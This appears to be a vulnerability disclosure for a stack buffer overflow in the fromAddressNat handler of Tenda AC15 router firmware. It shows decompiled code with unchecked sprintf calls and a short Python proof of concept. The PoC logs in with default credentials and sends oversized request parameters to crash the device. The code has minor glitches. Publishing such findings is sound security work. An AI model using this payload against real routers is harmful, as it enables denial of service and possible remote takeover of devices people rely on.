Tenda AC15 stack overflow vulnerability

* Version

V15.03.05.19 (US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin)

* Firmware

https://www.tenda.com.cn/download/detail-2680.html

* Vulnerability Detail

In function fromAddressNat, the content obtained by the program from the parameter "entrys", "mitInterface" and "page" are passed to local_14, local_18 and local_1c, and then the local_14 and local_18 are directly copied into the acStack796 stack through the sprintf function. The local_1c os copied into the acStack284 stack through the sprintf function. There is no size check, so there is a stack overflow vulnerability. The attacker can easily perform a Deny of Service Attack or Remote Code Execution with carefully crafted overflow data.

```
void fromAddressNat(undefined4 param_1)

{
```

```
  int iVar1;
  char acStack1052 [256];
  char acStack796 [512];
  char acStack284 [256];
  undefined4 local_1c;
  undefined4 local_18;
  undefined4 local_14;

  memset(acStack1052,0,0x100);
  local_14 = FUN_0002ba8c(param_1,"entrys",&DAT_000e5d48);
  local_18 = FUN_0002ba8c(param_1,"mitInterface",&DAT_000e5d48);
  sprintf(acStack796,"%s;%s",local_14,local_18);  // overflow here
  FUN_0004ec58("adv.addrnat",acStack796,0x7e);
  local_1c = FUN_0002ba8c(param_1,"page",&DAT_000e5f4c);
  sprintf(acStack284,"advance/addressNatList.asp?page=%s",local_1c);  //overflow her
  iVar1 = CommitCfm();
  if (iVar1 != 0) {
    sprintf(acStack1052,"advance_type=%d",7);
    send_msg_to_netctrl(5,acStack1052);
  }
  FUN_0002be4c(param_1,acStack284);
  return;
}
```

* POC

```
import requests


cmd  = b'entrys=' + b'A' * 400 + '&mitInterface='
cmd += b'A'* 0x400 + '&page=' + 'A' * 200


url = b"http://192.168.2.2/login/Auth"
payload = b"http://192.168.2.2/goform/addressNat/?" + cmd

data = {
    "username": "admin",
    "password": "admin",
}

def attack():
    s = requests.session()
    resp = s.post(url=url, data=data)
    print(resp.content)
    resp = s.post(url=payload, data=data)
```

```
        print(resp.content)

    attack()
```